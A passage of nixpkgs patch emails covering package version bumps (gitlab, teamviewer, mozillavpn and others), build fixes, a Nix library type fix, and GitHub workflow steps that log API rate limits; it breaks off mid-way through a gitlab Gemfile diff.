From 899cd214d943ee7fc18a0f4278da06307964bb81 Mon Sep 17 00:00:00 2001
From: Marcin Serwin <marcin@serwin.dev>
Date: Sun, 22 Jun 2025 19:24:08 +0200
Subject: [PATCH 1431/4511] signal-desktop.webrtc: use gn_2233 to unbreak

Default gn on stable is too old.

Signed-off-by: Marcin Serwin <marcin@serwin.dev>
---
 pkgs/by-name/si/signal-desktop/package.nix | 4 +++-
 1 file changed, 3 insertions(+), 1 deletion(-)

diff --git a/pkgs/by-name/si/signal-desktop/package.nix b/pkgs/by-name/si/signal-desktop/package.nix
index d1f4b750ec25..1dd3a017068c 100644
--- a/pkgs/by-name/si/signal-desktop/package.nix
+++ b/pkgs/by-name/si/signal-desktop/package.nix
@@ -4,6 +4,7 @@
   nodejs_22,
   pnpm_10,
   electron_36,
+  gn_2233,
   python3,
   makeWrapper,
   callPackage,
@@ -20,11 +21,12 @@ let
   nodejs = nodejs_22;
   pnpm = pnpm_10.override { inherit nodejs; };
   electron = electron_36;
+  gn = gn_2233;
 
   libsignal-node = callPackage ./libsignal-node.nix { inherit nodejs; };
   signal-sqlcipher = callPackage ./signal-sqlcipher.nix { inherit pnpm nodejs; };
 
-  webrtc = callPackage ./webrtc.nix { };
+  webrtc = callPackage ./webrtc.nix { inherit gn; };
   ringrtc = callPackage ./ringrtc.nix { inherit webrtc; };
 
   # Noto Color Emoji PNG files for emoji replacement; see below.

From c9e1b4c8cd0e1e2f3ecac15c215be4a9b3727091 Mon Sep 17 00:00:00 2001
From: Anders Kaseorg <andersk@mit.edu>
Date: Fri, 20 Jun 2025 16:45:00 -0700
Subject: [PATCH 1432/4511] =?UTF-8?q?mozillavpn:=202.27.0=20=E2=86=92=202.?=
 =?UTF-8?q?29.0?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

Signed-off-by: Anders Kaseorg <andersk@mit.edu>
(cherry picked from commit 582d04558d7cfb0026d8d4059a4b4d60b23d4450)
---
 pkgs/by-name/mo/mozillavpn/package.nix | 30 ++++----------------------
 1 file changed, 4 insertions(+), 26 deletions(-)

diff --git a/pkgs/by-name/mo/mozillavpn/package.nix b/pkgs/by-name/mo/mozillavpn/package.nix
index 22487b17c307..4fc9428ab227 100644
--- a/pkgs/by-name/mo/mozillavpn/package.nix
+++ b/pkgs/by-name/mo/mozillavpn/package.nix
@@ -4,7 +4,6 @@
   cargo,
   cmake,
   fetchFromGitHub,
-  fetchpatch,
   go,
   lib,
   libcap,
@@ -23,36 +22,15 @@
 
 stdenv.mkDerivation (finalAttrs: {
   pname = "mozillavpn";
-  version = "2.27.0";
+  version = "2.29.0";
   src = fetchFromGitHub {
     owner = "mozilla-mobile";
     repo = "mozilla-vpn-client";
     tag = "v${finalAttrs.version}";
     fetchSubmodules = true;
-    hash = "sha256-TfiEc5Lptr0ntp4buEEWbQTvNkVjZbdMWDv8CEZa6IM=";
+    hash = "sha256-Oh3qV5/fQNLjv3qnhRrgRV0d+homlGmEpTSeou3lZfE=";
   };
-  patches = [
-    # Provide default args for LottieStatus::changed so moc can call it (#10420)
-    (fetchpatch {
-      url = "https://github.com/mozilla-mobile/mozilla-vpn-client/commit/e5abe5714a5b506e398c088d21672f00d6f93240.patch";
-      hash = "sha256-DU5wQ1DDF8DbmMIlohoEIDJ7/9+9GVwrvsr51T9bGx8=";
-    })
-    # Remove Qt.labls.qmlmodels usage (#10422)
-    (fetchpatch {
-      url = "https://github.com/mozilla-mobile/mozilla-vpn-client/commit/4497972b1bf7b7f215dc6c1227d76d6825f5b958.patch";
-      hash = "sha256-RPRdARM/jXSHmTGGjiOrfJ7KVejp3JmUfsN5pmKYPuY=";
-    })
-    # Qt compat: Make sure to include what we use
-    (fetchpatch {
-      url = "https://github.com/mozilla-mobile/mozilla-vpn-client/commit/0909d43447a7ddbc6ec20d108637524552848bd6.patch";
-      hash = "sha256-Hpn69hQxa269XH+Ku/MYD2GwdFhfCX4yoVRCEDfIOKc=";
-    })
-    # Use QDesktopUnixServices after qt 6.9.0
-    (fetchpatch {
-      url = "https://github.com/mozilla-mobile/mozilla-vpn-client/pull/10424/commits/81e66044388459ffe2b08804ab5a326586ac7113.patch";
-      hash = "sha256-+v3NoTAdkjKEyBPbbJZQ2d11hJMyE3E4B9uYUerVa7c=";
-    })
-  ];
+  patches = [ ];
 
   netfilter = buildGoModule {
     pname = "${finalAttrs.pname}-netfilter";
@@ -67,7 +45,7 @@ stdenv.mkDerivation (finalAttrs: {
 
   cargoDeps = rustPlatform.fetchCargoVendor {
     inherit (finalAttrs) src patches;
-    hash = "sha256-SGC+YT5ATV/ZaP/wrm3c31OQBw6Pk8ZSXjxEPFdP2f8=";
+    hash = "sha256-Flsa93Nko/sHr9z+YW7xDFMVLOzJE4oJFAl841gpPpw=";
   };
 
   buildInputs = [

From d05904cdbb88b559955235e9e17c1aa1f01fc765 Mon Sep 17 00:00:00 2001
From: aleksana <me@aleksana.moe>
Date: Mon, 23 Jun 2025 10:13:37 +0800
Subject: [PATCH 1433/4511] fastfetch: fix bash and zsh completion

(cherry picked from commit e0bfbb4ff7ec29d757571a6308ab5ea3e9b22061)
---
 pkgs/by-name/fa/fastfetch/package.nix | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/pkgs/by-name/fa/fastfetch/package.nix b/pkgs/by-name/fa/fastfetch/package.nix
index 243a03e54a24..b5086e56062d 100644
--- a/pkgs/by-name/fa/fastfetch/package.nix
+++ b/pkgs/by-name/fa/fastfetch/package.nix
@@ -245,7 +245,7 @@ stdenv.mkDerivation (finalAttrs: {
     ];
 
   postPatch = ''
-    substituteInPlace completions/fastfetch.fish --replace-fail python3 '${python3.interpreter}'
+    substituteInPlace completions/fastfetch.{bash,fish,zsh} --replace-fail python3 '${python3.interpreter}'
   '';
 
   postInstall =

From 41e49505313af36f17f92bff444c361bff08af46 Mon Sep 17 00:00:00 2001
From: Pascal Dietrich <pascal.1.dietrich@hotmail.com>
Date: Sun, 22 Jun 2025 13:13:44 +0200
Subject: [PATCH 1434/4511] tauno-monitor: 0.1.29 -> 0.2.0

(cherry picked from commit 4c4a46bcc96fb8092c571d15d110d65769032a90)
---
 pkgs/by-name/ta/tauno-monitor/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/ta/tauno-monitor/package.nix b/pkgs/by-name/ta/tauno-monitor/package.nix
index c92b1e7d1b5c..709db657b9c8 100644
--- a/pkgs/by-name/ta/tauno-monitor/package.nix
+++ b/pkgs/by-name/ta/tauno-monitor/package.nix
@@ -13,14 +13,14 @@
 }:
 python3Packages.buildPythonApplication rec {
   pname = "tauno-monitor";
-  version = "0.1.29";
+  version = "0.2.0";
   pyproject = false;
 
   src = fetchFromGitHub {
     owner = "taunoe";
     repo = "tauno-monitor";
     tag = "v${version}";
-    hash = "sha256-U7vp0cPIRQeeuLGazoCQAnVQaKxDznC65bE31SwYU3A=";
+    hash = "sha256-144kRMhZUwgn3BRy6c0A5Fwh1Yisuf7H2s/0ChpIKVI=";
   };
 
   nativeBuildInputs = [

From 5db160cb077d7e6583d538ff6d7feb1cac5f555d Mon Sep 17 00:00:00 2001
From: Wolfgang Walther <walther@technowledgy.de>
Date: Sun, 22 Jun 2025 22:02:14 +0200
Subject: [PATCH 1435/4511] workflows: log rate limits consistently

This will give us a better idea about:
- Which jobs use the most API calls and can possibly be made more
efficient.
- Which rate limits apply exactly to which tokens.

(cherry picked from commit 356bf98a323f6f650748b6ef8fc445442666f514)
---
 .github/workflows/backport.yml      | 10 ++++++++++
 .github/workflows/check.yml         | 10 ++++++++++
 .github/workflows/codeowners-v2.yml | 24 ++++++++++++++++++++++
 .github/workflows/eval.yml          | 10 ++++++++++
 .github/workflows/labels.yml        | 10 ++++++++++
 .github/workflows/reviewers.yml     | 31 +++++++++++++++++++++++++++++
 6 files changed, 95 insertions(+)

diff --git a/.github/workflows/backport.yml b/.github/workflows/backport.yml
index 72b8482ef439..9407fea7f8e5 100644
--- a/.github/workflows/backport.yml
+++ b/.github/workflows/backport.yml
@@ -43,6 +43,11 @@ jobs:
           ref: ${{ github.event.pull_request.head.sha }}
           token: ${{ steps.app-token.outputs.token }}
 
+      - name: Log current API rate limits
+        env:
+          GH_TOKEN: ${{ steps.app-token.outputs.token }}
+        run: gh api /rate_limit | jq
+
       - name: Create backport PRs
         id: backport
         uses: korthout/backport-action@436145e922f9561fc5ea157ff406f21af2d6b363 # v3.2.0
@@ -56,6 +61,11 @@ jobs:
             * [ ] Before merging, ensure that this backport is [acceptable for the release](https://github.com/NixOS/nixpkgs/blob/master/CONTRIBUTING.md#changes-acceptable-for-releases).
               * Even as a non-committer, if you find that it is not acceptable, leave a comment.
 
+      - name: Log current API rate limits
+        env:
+          GH_TOKEN: ${{ steps.app-token.outputs.token }}
+        run: gh api /rate_limit | jq
+
       - name: "Add 'has: port to stable' label"
         if: steps.backport.outputs.created_pull_numbers != ''
         uses: actions/github-script@60a0d83039c74a4aee543508d2ffcb1c3799cdea # v7.0.1
diff --git a/.github/workflows/check.yml b/.github/workflows/check.yml
index 966e0f5c0d52..efe0c0c99705 100644
--- a/.github/workflows/check.yml
+++ b/.github/workflows/check.yml
@@ -50,6 +50,11 @@ jobs:
         run: |
           ./trusted/ci/check-cherry-picks.sh "$BASE_SHA" "$HEAD_SHA" checked-cherry-picks.md
 
+      - name: Log current API rate limits
+        env:
+          GH_TOKEN: ${{ github.token }}
+        run: gh api /rate_limit | jq
+
       - name: Prepare review
         if: steps.check.outcome == 'failure'
         uses: actions/github-script@60a0d83039c74a4aee543508d2ffcb1c3799cdea # v7.0.1
@@ -148,3 +153,8 @@ jobs:
                 }`, { node_id: review.node_id })
               })
             )
+
+      - name: Log current API rate limits
+        env:
+          GH_TOKEN: ${{ github.token }}
+        run: gh api /rate_limit | jq
diff --git a/.github/workflows/codeowners-v2.yml b/.github/workflows/codeowners-v2.yml
index 947f441f2e60..89908ede868d 100644
--- a/.github/workflows/codeowners-v2.yml
+++ b/.github/workflows/codeowners-v2.yml
@@ -79,6 +79,12 @@ jobs:
           permission-administration: read
           permission-members: read
 
+      - name: Log current API rate limits
+        if: steps.app-token.outputs.token
+        env:
+          GH_TOKEN: ${{ steps.app-token.outputs.token }}
+        run: gh api /rate_limit | jq
+
       - name: Validate codeowners
         if: steps.app-token.outputs.token
         env:
@@ -90,6 +96,12 @@ jobs:
           EXPERIMENTAL_CHECKS: "avoid-shadowing"
         run: result/bin/codeowners-validator
 
+      - name: Log current API rate limits
+        if: steps.app-token.outputs.token
+        env:
+          GH_TOKEN: ${{ steps.app-token.outputs.token }}
+        run: gh api /rate_limit | jq
+
   # Request reviews from code owners
   request:
     name: Request
@@ -116,8 +128,20 @@ jobs:
           permission-members: read
           permission-pull-requests: write
 
+      - name: Log current API rate limits
+        if: steps.app-token.outputs.token
+        env:
+          GH_TOKEN: ${{ steps.app-token.outputs.token }}
+        run: gh api /rate_limit | jq
+
       - name: Request reviews
         if: steps.app-token.outputs.token
         env:
           GH_TOKEN: ${{ steps.app-token.outputs.token }}
         run: result/bin/request-code-owner-reviews.sh ${{ github.repository }} ${{ github.event.number }} "$OWNERS_FILE"
+
+      - name: Log current API rate limits
+        if: steps.app-token.outputs.token
+        env:
+          GH_TOKEN: ${{ steps.app-token.outputs.token }}
+        run: gh api /rate_limit | jq
diff --git a/.github/workflows/eval.yml b/.github/workflows/eval.yml
index 7a4f590887c9..71ba62cdf4c7 100644
--- a/.github/workflows/eval.yml
+++ b/.github/workflows/eval.yml
@@ -66,6 +66,11 @@ jobs:
           name: merged-${{ matrix.system }}
           path: merged/*
 
+      - name: Log current API rate limits
+        env:
+          GH_TOKEN: ${{ github.token }}
+        run: gh api /rate_limit | jq
+
       - name: Get target run id
         if: inputs.targetSha
         id: targetRunId
@@ -108,6 +113,11 @@ jobs:
             // This should only happen when Eval is broken on the target branch and this PR fixes it.
             // Continue without targetRunId to skip the remaining steps, but pass the job.
 
+      - name: Log current API rate limits
+        env:
+          GH_TOKEN: ${{ github.token }}
+        run: gh api /rate_limit | jq
+
       - uses: actions/download-artifact@v4
         if: steps.targetRunId.outputs.targetRunId
         with:
diff --git a/.github/workflows/labels.yml b/.github/workflows/labels.yml
index 177021ff1497..c0ec74731326 100644
--- a/.github/workflows/labels.yml
+++ b/.github/workflows/labels.yml
@@ -266,6 +266,11 @@ jobs:
 
             core.notice(`Processed ${stats.prs} PRs, made ${stats.requests + stats.artifacts} API requests and downloaded ${stats.artifacts} artifacts.`)
 
+      - name: Log current API rate limits
+        env:
+          GH_TOKEN: ${{ github.token }}
+        run: gh api /rate_limit | jq
+
       - uses: actions/labeler@8558fd74291d67161a8a78ce36a881fa63b766a9 # v5.0.0
         name: Labels from touched files
         if: |
@@ -313,3 +318,8 @@ jobs:
           repo-token: ${{ secrets.GITHUB_TOKEN }}
           configuration-path: .github/labeler-development-branches.yml
           sync-labels: true
+
+      - name: Log current API rate limits
+        env:
+          GH_TOKEN: ${{ github.token }}
+        run: gh api /rate_limit | jq
diff --git a/.github/workflows/reviewers.yml b/.github/workflows/reviewers.yml
index 4beb755e2b64..bd1d8aed7204 100644
--- a/.github/workflows/reviewers.yml
+++ b/.github/workflows/reviewers.yml
@@ -54,6 +54,10 @@ jobs:
           permission-members: read
           permission-pull-requests: write
 
+      - name: Log current API rate limits (github.token)
+        env:
+          GH_TOKEN: ${{ github.token }}
+        run: gh api /rate_limit | jq
 
       # In the regular case, this workflow is called via workflow_call from the eval workflow directly.
       # In the more special case, when a PR is undrafted an eval run will have started already.
@@ -87,6 +91,11 @@ jobs:
             }
             throw new Error("No comparison artifact found.")
 
+      - name: Log current API rate limits (github.token)
+        env:
+          GH_TOKEN: ${{ github.token }}
+        run: gh api /rate_limit | jq
+
       - name: Download the comparison results
         uses: actions/download-artifact@fa0a91b85d4f404e444e00e005971372dc801d16 # v4.1.8
         with:
@@ -96,6 +105,17 @@ jobs:
           path: comparison
           merge-multiple: true
 
+      - name: Log current API rate limits (app-token)
+        if: ${{ steps.app-token.outputs.token }}
+        env:
+          GH_TOKEN: ${{ steps.app-token.outputs.token }}
+        run: gh api /rate_limit | jq
+
+      - name: Log current API rate limits (github.token)
+        env:
+          GH_TOKEN: ${{ github.token }}
+        run: gh api /rate_limit | jq
+
       - name: Requesting maintainer reviews
         if: ${{ steps.app-token.outputs.token }}
         env:
@@ -111,3 +131,14 @@ jobs:
           jq -r 'keys[]' comparison/maintainers.json \
             | while read -r id; do gh api /user/"$id" --jq .login; done \
             | GH_TOKEN=${{ steps.app-token.outputs.token }} result/bin/request-reviewers.sh "$REPOSITORY" "$NUMBER" "$AUTHOR"
+
+      - name: Log current API rate limits (app-token)
+        if: ${{ steps.app-token.outputs.token }}
+        env:
+          GH_TOKEN: ${{ steps.app-token.outputs.token }}
+        run: gh api /rate_limit | jq
+
+      - name: Log current API rate limits (github.token)
+        env:
+          GH_TOKEN: ${{ github.token }}
+        run: gh api /rate_limit | jq

From 7c871446f4a6761177b3ec49c544c05a9639487f Mon Sep 17 00:00:00 2001
From: sodiboo <git@sodi.boo>
Date: Sun, 22 Jun 2025 21:23:18 +0200
Subject: [PATCH 1436/4511] lib.types.attrTag: expose suboptions at correct
 level

(cherry picked from commit b3c9916455799123301a534ba604880e7cc1d7e5)
---
 lib/tests/modules/types-attrTag.nix | 2 +-
 lib/types.nix                       | 7 +------
 2 files changed, 2 insertions(+), 7 deletions(-)

diff --git a/lib/tests/modules/types-attrTag.nix b/lib/tests/modules/types-attrTag.nix
index 82d6e3c17590..f30c1fc904f8 100644
--- a/lib/tests/modules/types-attrTag.nix
+++ b/lib/tests/modules/types-attrTag.nix
@@ -7,7 +7,7 @@
 let
   inherit (lib) mkOption types;
   forceDeep = x: builtins.deepSeq x x;
-  mergedSubOption = (options.merged.type.getSubOptions options.merged.loc).extensible."merged.<name>";
+  mergedSubOption = (options.merged.type.getSubOptions options.merged.loc).extensible;
 in
 {
   options = {
diff --git a/lib/types.nix b/lib/types.nix
index 715da842ac01..ff50039da38f 100644
--- a/lib/types.nix
+++ b/lib/types.nix
@@ -919,12 +919,7 @@ let
           description = "attribute-tagged union";
           descriptionClass = "noun";
           getSubOptions =
-            prefix:
-            mapAttrs (tagName: tagOption: {
-              "${lib.showOption prefix}" = tagOption // {
-                loc = prefix ++ [ tagName ];
-              };
-            }) tags;
+            prefix: mapAttrs (tagName: tagOption: tagOption // { loc = prefix ++ [ tagName ]; }) tags;
           check = v: isAttrs v && length (attrNames v) == 1 && tags ? ${head (attrNames v)};
           merge =
             loc: defs:

From 6810c2f4d2e36809f83f01f032cef886a1b2404e Mon Sep 17 00:00:00 2001
From: Vincent Laporte <Vincent.Laporte@gmail.com>
Date: Wed, 18 Jun 2025 14:58:17 +0200
Subject: [PATCH 1437/4511] =?UTF-8?q?jasmin-compiler:=202025.02.1=20?=
 =?UTF-8?q?=E2=86=92=202025.06.0?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

(cherry picked from commit e3a03b74b064b44fd812fc07440e48cbc155f9a5)
---
 pkgs/by-name/ja/jasmin-compiler/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/ja/jasmin-compiler/package.nix b/pkgs/by-name/ja/jasmin-compiler/package.nix
index c9d3350ea293..78617d04a8bd 100644
--- a/pkgs/by-name/ja/jasmin-compiler/package.nix
+++ b/pkgs/by-name/ja/jasmin-compiler/package.nix
@@ -9,11 +9,11 @@
 
 stdenv.mkDerivation rec {
   pname = "jasmin-compiler";
-  version = "2025.02.1";
+  version = "2025.06.0";
 
   src = fetchurl {
     url = "https://github.com/jasmin-lang/jasmin/releases/download/v${version}/jasmin-compiler-v${version}.tar.bz2";
-    hash = "sha256-7WGEtsTJ4/R+30gzFlYpCvZrZyziZ6gDCemWEFX+5hk=";
+    hash = "sha256-VjWNvg/aF+omobF8b4YpRwVYM5K/b0GLoe1P/83ilk8=";
   };
 
   nativeBuildInputs = with ocamlPackages; [

From 3bed41a4b78db04edcfff99c8b13139df45e8650 Mon Sep 17 00:00:00 2001
From: mingmingrr <12855406+mingmingrr@users.noreply.github.com>
Date: Sun, 1 Jun 2025 11:21:59 -0400
Subject: [PATCH 1438/4511] cvc5: enable libpoly and drop antlr

libpoly needed to run with --nl-conv
antlr parser support was dropped in 1.0.6

(cherry picked from commit a74b6c323b37586fbc97b87e323125407cc2204f)
---
 pkgs/applications/science/logic/cvc5/default.nix | 8 +++-----
 1 file changed, 3 insertions(+), 5 deletions(-)

diff --git a/pkgs/applications/science/logic/cvc5/default.nix b/pkgs/applications/science/logic/cvc5/default.nix
index fe0c0172a88b..3fc2336f1885 100644
--- a/pkgs/applications/science/logic/cvc5/default.nix
+++ b/pkgs/applications/science/logic/cvc5/default.nix
@@ -10,10 +10,9 @@
   gmp,
   python3,
   gtest,
-  libantlr3c,
-  antlr3_4,
   boost,
   jdk,
+  libpoly,
 }:
 
 stdenv.mkDerivation rec {
@@ -37,10 +36,9 @@ stdenv.mkDerivation rec {
     symfpu
     gmp
     gtest
-    libantlr3c
-    antlr3_4
     boost
     jdk
+    libpoly
     (python3.withPackages (
       ps: with ps; [
         pyparsing
@@ -57,7 +55,7 @@ stdenv.mkDerivation rec {
 
   cmakeFlags = [
     "-DBUILD_SHARED_LIBS=1"
-    "-DANTLR3_JAR=${antlr3_4}/lib/antlr/antlr-3.4-complete.jar"
+    "-DUSE_POLY=ON"
   ];
 
   doCheck = true;

From 8ac0e32cee056028bb69042a77d7c54eddac9fc3 Mon Sep 17 00:00:00 2001
From: C4 Patino <c4patino@gmail.com>
Date: Thu, 12 Jun 2025 08:34:27 -0500
Subject: [PATCH 1439/4511] teamviewer: 15.61.3 -> 15.66.5

(cherry picked from commit 456de96e37aec5d81afa60bc31cef70603f1d35c)
---
 pkgs/applications/networking/remote/teamviewer/default.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/applications/networking/remote/teamviewer/default.nix b/pkgs/applications/networking/remote/teamviewer/default.nix
index ede0aff09ae3..b1053541e2ba 100644
--- a/pkgs/applications/networking/remote/teamviewer/default.nix
+++ b/pkgs/applications/networking/remote/teamviewer/default.nix
@@ -30,7 +30,7 @@ mkDerivation rec {
     "out"
     "dev"
   ];
-  version = "15.61.3";
+  version = "15.66.5";
 
   src =
     let
@@ -39,11 +39,11 @@ mkDerivation rec {
     {
       x86_64-linux = fetchurl {
         url = "${base_url}/teamviewer_${version}_amd64.deb";
-        hash = "sha256-o7Em+QRW4TebRTJS5xjcx1M6KPh1ziB1j0fvlO+RYa4=";
+        hash = "sha256-yQD2iFFFHlR6vX/5vEtBqmIOtGXa4eHbE7v7MdXgBds=";
       };
       aarch64-linux = fetchurl {
         url = "${base_url}/teamviewer_${version}_arm64.deb";
-        hash = "sha256-LDByF4u9xZV1MYApBrnlNrUPndbDrQt6DKX+r8Kmq6k=";
+        hash = "sha256-WqC4/5egq3pHgb4v8EPevJDDNmashuQr+VBQuFLdr7Q=";
       };
     }
     .${stdenv.hostPlatform.system} or (throw "Unsupported system: ${stdenv.hostPlatform.system}");

From b8a55a6b4968ec016e2e1183d133a339975e68cb Mon Sep 17 00:00:00 2001
From: Leona Maroni <dev@leona.is>
Date: Thu, 19 Jun 2025 22:29:32 +0200
Subject: [PATCH 1440/4511] gitlab: 18.0.2 -> 18.1.0

https://about.gitlab.com/releases/2025/06/19/gitlab-18-1-released/
(cherry picked from commit 5e6997ddeaac746b9670602acd8c66fd959ecced)
---
 pkgs/by-name/gi/gitaly/package.nix            |   6 +-
 .../gitlab-elasticsearch-indexer/package.nix  |   6 +-
 pkgs/by-name/gi/gitlab-pages/package.nix      |   6 +-
 pkgs/by-name/gi/gitlab/data.json              |  16 +-
 .../gi/gitlab/gitlab-workhorse/default.nix    |   4 +-
 pkgs/by-name/gi/gitlab/package.nix            |   3 +-
 pkgs/by-name/gi/gitlab/rubyEnv/Gemfile        |  60 +++---
 pkgs/by-name/gi/gitlab/rubyEnv/Gemfile.lock   | 154 ++++++++--------
 pkgs/by-name/gi/gitlab/rubyEnv/gemset.nix     | 172 +++++++++---------
 .../ruby-modules/gem-config/default.nix       |   3 +-
 10 files changed, 218 insertions(+), 212 deletions(-)

diff --git a/pkgs/by-name/gi/gitaly/package.nix b/pkgs/by-name/gi/gitaly/package.nix
index 1b6429aa006a..90d217241ae1 100644
--- a/pkgs/by-name/gi/gitaly/package.nix
+++ b/pkgs/by-name/gi/gitaly/package.nix
@@ -7,7 +7,7 @@
 }:
 
 let
-  version = "18.0.2";
+  version = "18.1.0";
   package_version = "v${lib.versions.major version}";
   gitaly_package = "gitlab.com/gitlab-org/gitaly/${package_version}";
 
@@ -21,10 +21,10 @@ let
       owner = "gitlab-org";
       repo = "gitaly";
       rev = "v${version}";
-      hash = "sha256-Phzg0GAKBMfXPqzlMfLZQbKeqZzMKw1YdEDdzSs+IkE=";
+      hash = "sha256-nttZfGjQKRSYCoMHSljojYLNScyDPHd8ayCuDkvKXpE=";
     };
 
-    vendorHash = "sha256-PXONynRY5ZLQO2yQdtljDmLhVBIgfEYmyez9pIm9vtw=";
+    vendorHash = "sha256-BTpcnaHNyLgdAA9KqqA+mBo18fmQ0+OwLGNOPHRJ/IE=";
 
     ldflags = [
       "-X ${gitaly_package}/internal/version.version=${version}"
diff --git a/pkgs/by-name/gi/gitlab-elasticsearch-indexer/package.nix b/pkgs/by-name/gi/gitlab-elasticsearch-indexer/package.nix
index 6398fe9c6adf..3befb216c4c2 100644
--- a/pkgs/by-name/gi/gitlab-elasticsearch-indexer/package.nix
+++ b/pkgs/by-name/gi/gitlab-elasticsearch-indexer/package.nix
@@ -8,17 +8,17 @@
 
 buildGoModule rec {
   pname = "gitlab-elasticsearch-indexer";
-  version = "5.5.1";
+  version = "5.6.0";
 
   # nixpkgs-update: no auto update
   src = fetchFromGitLab {
     owner = "gitlab-org";
     repo = "gitlab-elasticsearch-indexer";
     rev = "v${version}";
-    hash = "sha256-N2H9jLpsP39nKrokWwphAspQwXcL3stAdvNVItIHFyo=";
+    hash = "sha256-XerIPK+s0OWYAqKVqE3HSSI+D4cXixYqRHmf9/4C2eg=";
   };
 
-  vendorHash = "sha256-Go02W09799Vu9v7y+P7z1gj7ijG3No5AVprRrmspPZE=";
+  vendorHash = "sha256-qNGACM5DKufyNVKhJyakmMRbaMXi+JJUfojhWdk0ptU=";
 
   buildInputs = [ icu ];
   nativeBuildInputs = [ pkg-config ];
diff --git a/pkgs/by-name/gi/gitlab-pages/package.nix b/pkgs/by-name/gi/gitlab-pages/package.nix
index d39a8928cd28..89d1ba5c8f65 100644
--- a/pkgs/by-name/gi/gitlab-pages/package.nix
+++ b/pkgs/by-name/gi/gitlab-pages/package.nix
@@ -6,17 +6,17 @@
 
 buildGoModule rec {
   pname = "gitlab-pages";
-  version = "18.0.2";
+  version = "18.1.0";
 
   # nixpkgs-update: no auto update
   src = fetchFromGitLab {
     owner = "gitlab-org";
     repo = "gitlab-pages";
     rev = "v${version}";
-    hash = "sha256-zWWQZBN2J69YnjGhhQdB5wv4plC5ikk+kq6EfNPW6ZM=";
+    hash = "sha256-HwjbQLEc/GmFxVvyx0UMKKrNoHmfFADblVN/XOAtMZY=";
   };
 
-  vendorHash = "sha256-BjCwPt1duDINHP7L0qT2KNTjOZ62bWgVij88ztjjyPg=";
+  vendorHash = "sha256-6ZHKwPhC3N813kiw1NnPOMVc2CBSIClwc4MunDi0gCk=";
   subPackages = [ "." ];
 
   meta = with lib; {
diff --git a/pkgs/by-name/gi/gitlab/data.json b/pkgs/by-name/gi/gitlab/data.json
index d4d47349cf2a..71840b4eddce 100644
--- a/pkgs/by-name/gi/gitlab/data.json
+++ b/pkgs/by-name/gi/gitlab/data.json
@@ -1,15 +1,15 @@
 {
-  "version": "18.0.2",
-  "repo_hash": "03sqn21bnsdjs518akbmanyh96p8h4dyhpy4vqwcx1dc8lwnidki",
-  "yarn_hash": "0vv09y1pjcm2723jh842pgnmnrf4yqk7558v57dp08rxrqnsni5x",
+  "version": "18.1.0",
+  "repo_hash": "0d7xs0l6nzs1bpr4slycq0agw3kk9k9bw3q0dqqc2knla71i21fd",
+  "yarn_hash": "0c5pp3dpvw0q0nfl6w1lpdmk7dvkfinwb7z7a3vq22wgzca23x2m",
   "owner": "gitlab-org",
   "repo": "gitlab",
-  "rev": "v18.0.2-ee",
+  "rev": "v18.1.0-ee",
   "passthru": {
-    "GITALY_SERVER_VERSION": "18.0.2",
-    "GITLAB_PAGES_VERSION": "18.0.2",
+    "GITALY_SERVER_VERSION": "18.1.0",
+    "GITLAB_PAGES_VERSION": "18.1.0",
     "GITLAB_SHELL_VERSION": "14.42.0",
-    "GITLAB_ELASTICSEARCH_INDEXER_VERSION": "5.5.1",
-    "GITLAB_WORKHORSE_VERSION": "18.0.2"
+    "GITLAB_ELASTICSEARCH_INDEXER_VERSION": "5.6.0",
+    "GITLAB_WORKHORSE_VERSION": "18.1.0"
   }
 }
diff --git a/pkgs/by-name/gi/gitlab/gitlab-workhorse/default.nix b/pkgs/by-name/gi/gitlab/gitlab-workhorse/default.nix
index 8c10519ffd9e..4d8c37f266e2 100644
--- a/pkgs/by-name/gi/gitlab/gitlab-workhorse/default.nix
+++ b/pkgs/by-name/gi/gitlab/gitlab-workhorse/default.nix
@@ -10,7 +10,7 @@ in
 buildGoModule rec {
   pname = "gitlab-workhorse";
 
-  version = "18.0.2";
+  version = "18.1.0";
 
   # nixpkgs-update: no auto update
   src = fetchFromGitLab {
@@ -22,7 +22,7 @@ buildGoModule rec {
 
   sourceRoot = "${src.name}/workhorse";
 
-  vendorHash = "sha256-tLlxsUCoSGvUpJnS0GsNobk2IuSEgs3R4UDUmNf+HrA=";
+  vendorHash = "sha256-jsp68duGIW1p8ltfSlK0jPd22iscjiIOyrxfsr+2QY0=";
   buildInputs = [ git ];
   ldflags = [ "-X main.Version=${version}" ];
   doCheck = false;
diff --git a/pkgs/by-name/gi/gitlab/package.nix b/pkgs/by-name/gi/gitlab/package.nix
index 81c204476608..0fce21e5fa14 100644
--- a/pkgs/by-name/gi/gitlab/package.nix
+++ b/pkgs/by-name/gi/gitlab/package.nix
@@ -79,10 +79,11 @@ let
             dontBuilt = true;
             installPhase = ''
               cp -R ext/glfm_markdown $out
+              rm $out/Cargo.lock
               cp Cargo.lock $out
             '';
           };
-          hash = "sha256-73uliXjZNT8Ok98ai2rY+b0jYqxoQH3qW5YS+Ap6KK0=";
+          hash = "sha256-TG2pUE80o/Sa147Lcb7yIJC+mfaDzzW7m2d7dTi5yi0=";
         };
 
         dontBuild = false;
diff --git a/pkgs/by-name/gi/gitlab/rubyEnv/Gemfile b/pkgs/by-name/gi/gitlab/rubyEnv/Gemfile
index 8be009495335..8913861030c1 100644
--- a/pkgs/by-name/gi/gitlab/rubyEnv/Gemfile
+++ b/pkgs/by-name/gi/gitlab/rubyEnv/Gemfile
@@ -1,5 +1,9 @@
 # frozen_string_literal: true
 
+def next?
+  File.basename(__FILE__) == "Gemfile.next"
+end
+
 source 'https://rubygems.org'
 
 if ENV.fetch('BUNDLER_CHECKSUM_VERIFICATION_OPT_IN', 'false') != 'false' # this verification is still experimental
@@ -19,13 +23,13 @@ extend ignore_feature_category
 
 gem 'bundler-checksum', '~> 0.1.0', path: 'vendor/gems/bundler-checksum', require: false, feature_category: :shared
 
-# NOTE: When incrementing the major or minor version here, also increment activerecord_version
-# in vendor/gems/attr_encrypted/attr_encrypted.gemspec until we resolve
-# https://gitlab.com/gitlab-org/gitlab/-/issues/375713
-#
